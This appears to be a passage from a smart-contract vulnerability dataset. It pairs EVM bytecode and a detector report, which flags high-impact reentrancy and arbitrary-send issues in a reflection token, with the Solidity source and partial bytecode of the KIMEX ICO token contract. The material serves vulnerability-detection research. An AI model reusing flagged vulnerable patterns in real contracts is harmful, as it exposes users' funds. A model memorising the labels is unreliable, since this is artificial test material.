5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611581576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115789061229a565b60405180910390fd5b600061158b611624565b90506115a0818461164f90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611610573d6000803e3d6000fd5b5050565b61161f838383611699565b505050565b6000806000611631611864565b91509150611648818361164f90919063ffffffff16565b9250505090565b600061169183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118c3565b905092915050565b6000806000806000806116ab87611926565b95509550955095509550955061170986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461198c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061179e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117ea81611a34565b6117f48483611af1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161185191906123ba565b60405180910390a3505050505050505050565b600080600060075490506000678ac7230489e800009050611898678ac7230489e8000060075461164f90919063ffffffff16565b8210156118b657600754678ac7230489e800009350935050506118bf565b81819350935050505b9091565b6000808311829061190a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119019190612258565b60405180910390fd5b506000838561191991906124f5565b9050809150509392505050565b60008060008060008060008060006119418a60016009611b2b565b9250925092506000611951611624565b905060008060006119648e878787611bc1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006119ce83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061124e565b905092915050565b60008082846119e5919061249f565b905083811015611a2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a21906122da565b60405180910390fd5b8091505092915050565b6000611a3e611624565b90506000611a558284611c4a90919063ffffffff16565b9050611aa981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611b068260075461198c90919063ffffffff16565b600781905550611b21816008546119d690919063ffffffff16565b6008819055505050565b600080600080611b576064611b49888a611c4a90919063ffffffff16565b61164f90919063ffffffff16565b90506000611b816064611b73888b611c4a90919063ffffffff16565b61164f90919063ffffffff16565b90506000611baa82611b9c858c61198c90919063ffffffff16565b61198c90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611bda8589611c4a90919063ffffffff16565b90506000611bf18689611c4a90919063ffffffff16565b90506000611c088789611c4a90919063ffffffff16565b90506000611c3182611c23858761198c90919063ffffffff16565b61198c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611c5d5760009050611cbf565b60008284611c6b9190612526565b9050828482611c7a91906124f5565b14611cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb1906122fa565b60405180910390fd5b809150505b92915050565b600081359050611cd4816129c4565b92915050565b600081519050611ce9816129c4565b92915050565b600081519050611cfe816129db565b92915050565b600081359050611d13816129f2565b92915050565b600081519050611d28816129f2565b92915050565b600060208284031215611d4457611d4361270a565b5b6000611d5284828501611cc5565b91505092915050565b600060208284031215611d7157611d7061270a565b5b6000611d7f84828501611cda565b91505092915050565b60008060408385031215611d9f57611d9e61270a565b5b6000611dad85828601611cc5565b9250506020611dbe85828601611cc5565b9150509250929050565b600080600060608486031215611de157611de061270a565b5b6000611def86828701611cc5565b9350506020611e0086828701611cc5565b9250506040611e1186828701611d04565b9150509250925092565b60008060408385031215611e3257611e3161270a565b5b6000611e4085828601611cc5565b9250506020611e5185828601611d04565b9150509250929050565b600060208284031215611e7157611e7061270a565b5b6000611e7f84828501611cef565b91505092915050565b600060208284031215611e9e57611e9d61270a565b5b6000611eac84828501611d19565b91505092915050565b600080600060608486031215611ece57611ecd61270a565b5b6000611edc86828701611d19565b9350506020611eed86828701611d19565b9250506040611efe86828701611d19565b9150509250925092565b6000611f148383611f20565b60208301905092915050565b611f29816125b4565b82525050565b611f38816125b4565b82525050565b6000611f498261245a565b611f53818561247d565b9350611f5e8361244a565b8060005b83811015611f8f578151611f768882611f08565b9750611f8183612470565b925050600181019050611f62565b5085935050505092915050565b611fa5816125c6565b82525050565b611fb481612609565b82525050565b6000611fc582612465565b611fcf818561248e565b9350611fdf81856020860161261b565b611fe88161270f565b840191505092915050565b600061200060238361248e565b915061200b82612720565b604082019050919050565b6000612023602a8361248e565b915061202e8261276f565b604082019050919050565b600061204660228361248e565b9150612051826127be565b604082019050919050565b6000612069601b8361248e565b91506120748261280d565b602082019050919050565b600061208c60218361248e565b915061209782612836565b604082019050919050565b60006120af60208361248e565b91506120ba82612885565b602082019050919050565b60006120d260298361248e565b91506120dd826128ae565b604082019050919050565b60006120f560258361248e565b9150612100826128fd565b604082019050919050565b600061211860248361248e565b91506121238261294c565b604082019050919050565b600061213b60178361248e565b91506121468261299b565b602082019050919050565b61215a816125f2565b82525050565b612169816125fc565b82525050565b60006020820190506121846000830184611f2f565b92915050565b600060408201905061219f6000830185611f2f565b6121ac6020830184611f2f565b9392505050565b60006040820190506121c86000830185611f2f565b6121d56020830184612151565b9392505050565b600060c0820190506121f16000830189611f2f565b6121fe6020830188612151565b61220b6040830187611fab565b6122186060830186611fab565b6122256080830185611f2f565b61223260a0830184612151565b979650505050505050565b60006020820190506122526000830184611f9c565b92915050565b600060208201905081810360008301526122728184611fba565b905092915050565b6000602082019050818103600083015261229381611ff3565b9050919050565b600060208201905081810360008301526122b381612016565b9050919050565b600060208201905081810360008301526122d381612039565b9050919050565b600060208201905081810360008301526122f38161205c565b9050919050565b600060208201905081810360008301526123138161207f565b9050919050565b60006020820190508181036000830152612333816120a2565b9050919050565b60006020820190508181036000830152612353816120c5565b9050919050565b60006020820190508181036000830152612373816120e8565b9050919050565b600060208201905081810360008301526123938161210b565b9050919050565b600060208201905081810360008301526123b38161212e565b9050919050565b60006020820190506123cf6000830184612151565b92915050565b600060a0820190506123ea6000830188612151565b6123f76020830187611fab565b81810360408301526124098186611f3e565b90506124186060830185611f2f565b6124256080830184612151565b9695505050505050565b60006020820190506124446000830184612160565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006124aa826125f2565b91506124b5836125f2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156124ea576124e961264e565b5b828201905092915050565b6000612500826125f2565b915061250b836125f2565b92508261251b5761251a61267d565b5b828204905092915050565b6000612531826125f2565b915061253c836125f2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156125755761257461264e565b5b828202905092915050565b600061258b826125f2565b9150612596836125f2565b9250828210156125a9576125a861264e565b5b828203905092915050565b60006125bf826125d2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612614826125f2565b9050919050565b60005b8381101561263957808201518184015260208101905061261e565b83811115612648576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6129cd816125b4565b81146129d857600080fd5b50565b6129e4816125c6565b81146129ef57600080fd5b50565b6129fb816125f2565b8114612a0657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122090a4a41ea854c8cde2704e8da7db3e4a9a91074dd7fab1cb8ec57ffc1209618964736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
4,833
0x9d9c61fbc6ab01c0e426242fff8fd248ed3e6277
pragma solidity ^0.4.21; contract Owner { address public owner; modifier onlyOwner() { require(msg.sender == owner); _; } function Owner(address _owner) public { owner = _owner; } function changeOwner(address _newOwnerAddr) public onlyOwner { require(_newOwnerAddr != address(0)); owner = _newOwnerAddr; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract KIMEX is Owner { using SafeMath for uint256; string public constant name = "KIMEX"; string public constant symbol = "KMX"; uint public constant decimals = 18; uint256 constant public totalSupply = 250000000 * 10 ** 18; // 375 mil tokens will be supplied mapping(address => uint256) internal balances; mapping(address => mapping (address => uint256)) internal allowed; address public adminAddress; address public walletAddress; address public founderAddress; address public teamAddress; mapping(address => bool) public whiteList; mapping(address => uint256) public totalInvestedAmountOf; uint constant lockPeriod1 = 1 years; // 1nd locked period for tokens allocation of founder and team uint constant NOT_SALE = 0; // Not in sales uint constant IN_SALE = 1; // In sales uint constant END_SALE = 2; // End sales uint256 public constant salesAllocation = 150000000 * 10 ** 18; // 150 mil tokens allocated for sales uint256 public constant reservedAllocation = 22500000 * 10 ** 18; // 22.5 mil tokens allocated for reserved, bounty campaigns, ICO partners, and bonus fund uint256 public constant founderAllocation = 50000000 * 10 ** 18; // 37.5 mil tokens allocated for founders uint256 public constant teamAllocation = 22500000 * 10 ** 18; // 22.5 mil tokens allocated for team uint256 public constant minInvestedCap = 5000 * 10 ** 18; // 5000 ether for softcap uint256 public constant minInvestedAmount = 0.1 * 10 ** 18; // 0.1 ether for mininum ether contribution per transaction uint saleState; uint256 totalInvestedAmount; uint public icoStartTime; uint public icoEndTime; bool public inActive; bool public isSelling; bool public isTransferable; uint public founderAllocatedTime = 1; uint public teamAllocatedTime = 1; uint256 public icoStandardPrice; uint256 public totalRemainingTokensForSales; // Total tokens remaining for sales uint256 public totalReservedTokenAllocation; // Total tokens allocated for reserved and bonuses uint256 public totalLoadedRefund; // Total ether will be loaded to contract for refund uint256 public totalRefundedAmount; // Total ether refunded to investors event Approval(address indexed owner, address indexed spender, uint256 value); // ERC20 standard event event Transfer(address indexed from, address indexed to, uint256 value); // ERC20 standard event event ModifyWhiteList(address investorAddress, bool isWhiteListed); // Add or remove investor's address to or from white list event StartICO(uint state); // Start ICO sales event EndICO(uint state); // End ICO sales event SetICOPrice(uint256 price); // Set ICO standard price event IssueTokens(address investorAddress, uint256 amount, uint256 tokenAmount, uint state); // Issue tokens to investor event RevokeTokens(address investorAddress, uint256 amount, uint256 tokenAmount, uint256 txFee); // Revoke tokens after ending ICO for incompleted KYC investors event AllocateTokensForFounder(address founderAddress, uint256 founderAllocatedTime, uint256 tokenAmount); // Allocate tokens to founders' address event AllocateTokensForTeam(address teamAddress, uint256 teamAllocatedTime, uint256 tokenAmount); // Allocate tokens to team's address event AllocateReservedTokens(address reservedAddress, uint256 tokenAmount); // Allocate reserved tokens modifier isActive() { require(inActive == false); _; } modifier isInSale() { require(isSelling == true); _; } modifier transferable() { require(isTransferable == true); _; } modifier onlyOwnerOrAdminOrPortal() { require(msg.sender == owner || msg.sender == adminAddress); _; } modifier onlyOwnerOrAdmin() { require(msg.sender == owner || msg.sender == adminAddress); _; } function KIMEX(address _walletAddr, address _adminAddr) public Owner(msg.sender) { require(_walletAddr != address(0)); require(_adminAddr != address(0)); walletAddress = _walletAddr; adminAddress = _adminAddr; inActive = true; totalInvestedAmount = 0; totalRemainingTokensForSales = salesAllocation; totalReservedTokenAllocation = reservedAllocation; } // Fallback function for token purchasing function () external payable isActive isInSale { uint state = getCurrentState(); require(state < END_SALE); require(msg.value >= minInvestedAmount); if (state <= IN_SALE) { return issueTokensForICO(state); } revert(); } // Load ether amount to contract for refunding or revoking function loadFund() external payable { require(msg.value > 0); totalLoadedRefund = totalLoadedRefund.add(msg.value); } // ERC20 standard function function transfer(address _to, uint256 _value) external transferable returns (bool) { require(_to != address(0)); require(_value > 0); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } // ERC20 standard function function transferFrom(address _from, address _to, uint256 _value) external transferable returns (bool) { require(_to != address(0)); require(_from != address(0)); require(_value > 0); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } // ERC20 standard function function approve(address _spender, uint256 _value) external transferable returns (bool) { require(_spender != address(0)); require(_value > 0); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } // Modify white list function modifyWhiteList(address[] _investorAddrs, bool _isWhiteListed) external isActive onlyOwnerOrAdminOrPortal returns(bool) { for (uint256 i = 0; i < _investorAddrs.length; i++) { whiteList[_investorAddrs[i]] = _isWhiteListed; emit ModifyWhiteList(_investorAddrs[i], _isWhiteListed); } return true; } // Start ICO function startICO() external isActive onlyOwnerOrAdmin returns (bool) { require(icoStandardPrice > 0); saleState = IN_SALE; icoStartTime = now; isSelling = true; emit StartICO(saleState); return true; } // End ICO function endICO() external isActive onlyOwnerOrAdmin returns (bool) { require(icoEndTime == 0); saleState = END_SALE; isSelling = false; icoEndTime = now; emit EndICO(saleState); return true; } // Set ICO price including ICO standard price function setICOPrice(uint256 _tokenPerEther) external onlyOwnerOrAdmin returns(bool) { require(_tokenPerEther > 0); icoStandardPrice = _tokenPerEther; emit SetICOPrice(icoStandardPrice); return true; } // Activate token sale function function activate() external onlyOwner { inActive = false; } // Deacivate token sale function function deActivate() external onlyOwner { inActive = true; } // Enable transfer feature of tokens function enableTokenTransfer() external isActive onlyOwner { isTransferable = true; } // Modify wallet function changeWallet(address _newAddress) external onlyOwner { require(_newAddress != address(0)); require(walletAddress != _newAddress); walletAddress = _newAddress; } // Modify admin function changeAdminAddress(address _newAddress) external onlyOwner { require(_newAddress != address(0)); require(adminAddress != _newAddress); adminAddress = _newAddress; } // Modify founder address to receive founder tokens allocation function changeFounderAddress(address _newAddress) external onlyOwnerOrAdmin { require(_newAddress != address(0)); require(founderAddress != _newAddress); founderAddress = _newAddress; } // Modify team address to receive team tokens allocation function changeTeamAddress(address _newAddress) external onlyOwnerOrAdmin { require(_newAddress != address(0)); require(teamAddress != _newAddress); teamAddress = _newAddress; } // Allocate tokens for founder vested gradually for 1 year function allocateTokensForFounder() external isActive onlyOwnerOrAdmin { require(saleState == END_SALE); require(founderAddress != address(0)); uint256 amount; if (founderAllocatedTime == 1) { amount = founderAllocation; balances[founderAddress] = balances[founderAddress].add(amount); emit AllocateTokensForFounder(founderAddress, founderAllocatedTime, amount); founderAllocatedTime = 2; return; } revert(); } // Allocate tokens for team vested gradually for 1 year function allocateTokensForTeam() external isActive onlyOwnerOrAdmin { require(saleState == END_SALE); require(teamAddress != address(0)); uint256 amount; if (teamAllocatedTime == 1) { amount = teamAllocation * 40/100; balances[teamAddress] = balances[teamAddress].add(amount); emit AllocateTokensForTeam(teamAddress, teamAllocatedTime, amount); teamAllocatedTime = 2; return; } if (teamAllocatedTime == 2) { require(now >= icoEndTime + lockPeriod1); amount = teamAllocation * 60/100; balances[teamAddress] = balances[teamAddress].add(amount); emit AllocateTokensForTeam(teamAddress, teamAllocatedTime, amount); teamAllocatedTime = 3; return; } revert(); } // Allocate reserved tokens function allocateReservedTokens(address _addr, uint _amount) external isActive onlyOwnerOrAdmin { require(_amount > 0); require(_addr != address(0)); balances[_addr] = balances[_addr].add(_amount); totalReservedTokenAllocation = totalReservedTokenAllocation.sub(_amount); emit AllocateReservedTokens(_addr, _amount); } // ERC20 standard function function allowance(address _owner, address _spender) external constant returns (uint256) { return allowed[_owner][_spender]; } // ERC20 standard function function balanceOf(address _owner) external constant returns (uint256 balance) { return balances[_owner]; } // Get current sales state function getCurrentState() public view returns(uint256) { return saleState; } // Get softcap reaching status function isSoftCapReached() public view returns (bool) { return totalInvestedAmount >= minInvestedCap; } // Issue tokens to normal investors through ICO rounds function issueTokensForICO(uint _state) private { uint256 price = icoStandardPrice; issueTokens(price, _state); } // Issue tokens to investors and transfer ether to wallet function issueTokens(uint256 _price, uint _state) private { require(walletAddress != address(0)); uint tokenAmount = msg.value.mul(_price).mul(10**18).div(1 ether); balances[msg.sender] = balances[msg.sender].add(tokenAmount); totalInvestedAmountOf[msg.sender] = totalInvestedAmountOf[msg.sender].add(msg.value); totalRemainingTokensForSales = totalRemainingTokensForSales.sub(tokenAmount); totalInvestedAmount = totalInvestedAmount.add(msg.value); walletAddress.transfer(msg.value); emit IssueTokens(msg.sender, msg.value, tokenAmount, _state); } }
0x6060604052600436106102715763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630114684481146102e857806306fdde03146102f257806309522d7f1461037c578063095ea7b3146103a15780630f15f4c0146103d75780631021688f146103ea57806318160ddd146104095780631c75f0851461041c5780632121dc751461044b5780632272df671461045e578063230b1eb51461047d57806323b872dd1461049057806325b5160c146104b8578063313ce567146104ce5780633281c4e1146104e1578063372c12b1146104f4578063378aa701146105135780633a764462146105265780633aee69bb1461053957806345abc0631461055857806346bb28331461056b5780634f2484091461057e5780635185b72414610591578063614939b2146105b35780636175adee146105c657806363db30e8146105d95780636816521a1461037c5780636ad5b3ea146105ec57806370a08231146105ff5780637904586e1461061e5780637e1055b61461063d5780637fa8c1581461065057806380d32f8514610663578063824338bd146106765780638da5cb5b1461068957806395d89b411461069c57806398b9a2dc146106af578063a6f9dae1146106ce578063a7c3d71b146106ed578063a9059cbb14610700578063aaff2a8314610722578063cadb116614610735578063cbf2183714610759578063cd1e03551461076c578063d128fc201461077f578063d8ee796f14610792578063dccbfa2a146107a5578063dd62ed3e146107b8578063f461db0e146107dd578063f97a02fa146107f0578063fc6f946814610803578063ff895a6214610816575b600d5460009060ff161561028457600080fd5b600d5460ff61010090910416151560011461029e57600080fd5b6102a6610829565b9050600281106102b557600080fd5b67016345785d8a00003410156102ca57600080fd5b600181116102e0576102db8161082f565b6102e5565b600080fd5b50005b6102f0610840565b005b34156102fd57600080fd5b610305610865565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610341578082015183820152602001610329565b50505050905090810190601f16801561036e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561038757600080fd5b61038f61089c565b60405190815260200160405180910390f35b34156103ac57600080fd5b6103c3600160a060020a03600435166024356108ab565b604051901515815260200160405180910390f35b34156103e257600080fd5b6102f0610953565b34156103f557600080fd5b6102f0600160a060020a036004351661097a565b341561041457600080fd5b61038f6109f4565b341561042757600080fd5b61042f610a03565b604051600160a060020a03909116815260200160405180910390f35b341561045657600080fd5b6103c3610a12565b341561046957600080fd5b6102f0600160a060020a0360043516610a21565b341561048857600080fd5b61038f610ab6565b341561049b57600080fd5b6103c3600160a060020a0360043581169060243516604435610abc565b34156104c357600080fd5b6103c3600435610c23565b34156104d957600080fd5b61038f610ca7565b34156104ec57600080fd5b61038f610cac565b34156104ff57600080fd5b6103c3600160a060020a0360043516610cbb565b341561051e57600080fd5b61038f610829565b341561053157600080fd5b6102f0610cd0565b341561054457600080fd5b6102f0600160a060020a0360043516610d0e565b341561056357600080fd5b61038f610da3565b341561057657600080fd5b61042f610da9565b341561058957600080fd5b6103c3610db8565b341561059c57600080fd5b6102f0600160a060020a0360043516602435610e5d565b34156105be57600080fd5b6102f0610f65565b34156105d157600080fd5b61038f611182565b34156105e457600080fd5b61038f611188565b34156105f757600080fd5b61042f611194565b341561060a57600080fd5b61038f600160a060020a03600435166111a3565b341561062957600080fd5b61038f600160a060020a03600435166111be565b341561064857600080fd5b61038f6111d0565b341561065b57600080fd5b6103c36111d6565b341561066e57600080fd5b6103c3611282565b341561068157600080fd5b61038f611296565b341561069457600080fd5b61042f6112a5565b34156106a757600080fd5b6103056112b4565b34156106ba57600080fd5b6102f0600160a060020a03600435166112eb565b34156106d957600080fd5b6102f0600160a060020a0360043516611365565b34156106f857600080fd5b61038f6113c4565b341561070b57600080fd5b6103c3600160a060020a03600435166024356113ca565b341561072d57600080fd5b61038f6114c8565b341561074057600080fd5b6103c360246004803582810192910135903515156114ce565b341561076457600080fd5b6103c36115db565b341561077757600080fd5b61038f6115e9565b341561078a57600080fd5b6102f06115ef565b341561079d57600080fd5b61038f611731565b34156107b057600080fd5b61038f611737565b34156107c357600080fd5b61038f600160a060020a0360043581169060243516611745565b34156107e857600080fd5b61038f611770565b34156107fb57600080fd5b6103c3611776565b341561080e57600080fd5b61042f61177f565b341561082157600080fd5b6102f061178e565b60095490565b60105461083c81836117b8565b5050565b6000341161084d57600080fd5b601354610860903463ffffffff61194a16565b601355565b60408051908101604052600581527f4b494d4558000000000000000000000000000000000000000000000000000000602082015281565b6a129c8f71ad02e2a680000081565b600d5460009062010000900460ff1615156001146108c857600080fd5b600160a060020a03831615156108dd57600080fd5b600082116108ea57600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005433600160a060020a0390811691161461096e57600080fd5b600d805460ff19169055565b60005433600160a060020a0390811691161461099557600080fd5b600160a060020a03811615156109aa57600080fd5b600354600160a060020a03828116911614156109c557600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6acecb8f27f4200f3a00000081565b600654600160a060020a031681565b600d5462010000900460ff1681565b60005433600160a060020a0390811691161480610a4c575060035433600160a060020a039081169116145b1515610a5757600080fd5b600160a060020a0381161515610a6c57600080fd5b600554600160a060020a0382811691161415610a8757600080fd5b6005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60125481565b600d5460009062010000900460ff161515600114610ad957600080fd5b600160a060020a0383161515610aee57600080fd5b600160a060020a0384161515610b0357600080fd5b60008211610b1057600080fd5b600160a060020a038416600090815260016020526040902054610b39908363ffffffff61196416565b600160a060020a038086166000908152600160205260408082209390935590851681522054610b6e908363ffffffff61194a16565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610bb6908363ffffffff61196416565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6000805433600160a060020a0390811691161480610c4f575060035433600160a060020a039081169116145b1515610c5a57600080fd5b60008211610c6757600080fd5b60108290557f1c1b18768492f25670993e4eaf1a7d17a8abe51d71b27bc5c1255e40d2d506a88260405190815260200160405180910390a1506001919050565b601281565b6a7c13bc4b2c133c5600000081565b60076020526000908152604090205460ff1681565b600d5460ff1615610ce057600080fd5b60005433600160a060020a03908116911614610cfb57600080fd5b600d805462ff0000191662010000179055565b60005433600160a060020a0390811691161480610d39575060035433600160a060020a039081169116145b1515610d4457600080fd5b600160a060020a0381161515610d5957600080fd5b600654600160a060020a0382811691161415610d7457600080fd5b6006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60135481565b600554600160a060020a031681565b600d5460009060ff1615610dcb57600080fd5b60005433600160a060020a0390811691161480610df6575060035433600160a060020a039081169116145b1515610e0157600080fd5b600c5415610e0e57600080fd5b60026009819055600d805461ff001916905542600c557fe4aa5e3f9012723c200a69efdcca855ae09af7d70992cc420cce249fee0e09999060405190815260200160405180910390a150600190565b600d5460ff1615610e6d57600080fd5b60005433600160a060020a0390811691161480610e98575060035433600160a060020a039081169116145b1515610ea357600080fd5b60008111610eb057600080fd5b600160a060020a0382161515610ec557600080fd5b600160a060020a038216600090815260016020526040902054610eee908263ffffffff61194a16565b600160a060020a038316600090815260016020526040902055601254610f1a908263ffffffff61196416565b6012557f47a75aa311e7576c9a07da850c14f42ffe2864978d7f025084839a75bdcbdac68282604051600160a060020a03909216825260208201526040908101905180910390a15050565b600d5460009060ff1615610f7857600080fd5b60005433600160a060020a0390811691161480610fa3575060035433600160a060020a039081169116145b1515610fae57600080fd5b600954600214610fbd57600080fd5b600654600160a060020a03161515610fd457600080fd5b600f54600114156110a15750600654600160a060020a03166000908152600160205260409020546a0771d2fa45345aa900000090611012908261194a565b60068054600160a060020a0390811660009081526001602052604090819020939093559054600f547fab07e736c87d6dc8c0a3e05a92d1cfb93c6458b35d2e365490f8b7cc9776ec04939190921691908490518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a16002600f5561117f565b600f54600214156102e057600c546301e13380014210156110c157600080fd5b50600654600160a060020a03166000908152600160205260409020546a0b2abc7767ce87fd800000906110f4908261194a565b60068054600160a060020a0390811660009081526001602052604090819020939093559054600f547fab07e736c87d6dc8c0a3e05a92d1cfb93c6458b35d2e365490f8b7cc9776ec04939190921691908490518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a16003600f555b50565b60105481565b67016345785d8a000081565b600454600160a060020a031681565b600160a060020a031660009081526001602052604090205490565b60086020526000908152604090205481565b600c5481565b600d5460009060ff16156111e957600080fd5b60005433600160a060020a0390811691161480611214575060035433600160a060020a039081169116145b151561121f57600080fd5b6010546000901161122f57600080fd5b6001600981905542600b55600d805461ff0019166101001790557f87fcd7085eaabc2418e6a12ac5497cf18368bf4ad51215e24fd4782fa0c0ba579060405190815260200160405180910390a150600190565b600a5469010f0cf064dd5920000090101590565b6a295be96e6406697200000081565b600054600160a060020a031681565b60408051908101604052600381527f4b4d580000000000000000000000000000000000000000000000000000000000602082015281565b60005433600160a060020a0390811691161461130657600080fd5b600160a060020a038116151561131b57600080fd5b600454600160a060020a038281169116141561133657600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a0390811691161461138057600080fd5b600160a060020a038116151561139557600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600b5481565b600d5460009062010000900460ff1615156001146113e757600080fd5b600160a060020a03831615156113fc57600080fd5b6000821161140957600080fd5b600160a060020a033316600090815260016020526040902054611432908363ffffffff61196416565b600160a060020a033381166000908152600160205260408082209390935590851681522054611467908363ffffffff61194a16565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b60115481565b600d54600090819060ff16156114e357600080fd5b60005433600160a060020a039081169116148061150e575060035433600160a060020a039081169116145b151561151957600080fd5b5060005b838110156115d057826007600087878581811061153657fe5b60209081029290920135600160a060020a0316835250810191909152604001600020805460ff19169115159190911790557ffbd9b2cc58ba714cd80b8b0a1c8a6d313a1e20563cf72561feeee6d0d96769bd85858381811061159457fe5b90506020020135600160a060020a031684604051600160a060020a039092168252151560208201526040908101905180910390a160010161151d565b506001949350505050565b600d54610100900460ff1681565b60145481565b600d5460009060ff161561160257600080fd5b60005433600160a060020a039081169116148061162d575060035433600160a060020a039081169116145b151561163857600080fd5b60095460021461164757600080fd5b600554600160a060020a0316151561165e57600080fd5b600e54600114156102e05750600554600160a060020a03166000908152600160205260409020546a295be96e64066972000000906116a2908263ffffffff61194a16565b60058054600160a060020a0390811660009081526001602052604090819020939093559054600e547fa12320dea361e697cd0fb17d62af7c61880334f66c5b27d144602185281c0603939190921691908490518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a16002600e5561117f565b600e5481565b69010f0cf064dd5920000081565b600160a060020a03918216600090815260026020908152604080832093